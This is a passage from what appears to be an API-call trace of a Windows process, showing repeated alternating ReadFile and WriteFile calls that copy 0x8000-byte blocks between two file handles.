	[0263.217] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.217] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.217] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.218] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.218] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.219] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.220] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.222] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.222] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.223] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.223] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.224] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.224] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.225] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.225] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.226] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.226] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.227] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.227] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.228] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.228] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.228] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.230] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.231] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.232] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.232] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.233] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.233] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.233] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.234] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.249] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.251] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.251] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.252] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.252] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.253] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.253] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.254] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.267] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.274] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.274] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.275] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.275] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.276] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.276] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.277] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.277] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.278] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.278] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.279] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.279] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.280] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.280] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.281] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.282] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.283] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.284] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.284] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.285] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.285] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.285] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.286] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.294] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.295] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.295] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.296] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.296] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.297] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.297] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.298] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.299] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.301] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.301] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.302] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.302] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.303] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.303] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.304] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.304] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.305] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.305] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.306] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.306] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.307] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.307] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.307] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.309] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.310] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.310] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.311] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.311] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.312] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.312] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.313] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.313] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.314] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000266000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000031bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesRead=0xc000031bd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.314] WriteFile (in: hFile=0x19c, lpBuffer=0xc000266000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc000031b74, lpOverlapped=0x0 | out: lpBuffer=0xc000266000*, lpNumberOfBytesWritten=0xc000031b74*=0x8000, lpOverlapped=0x0) returned 1
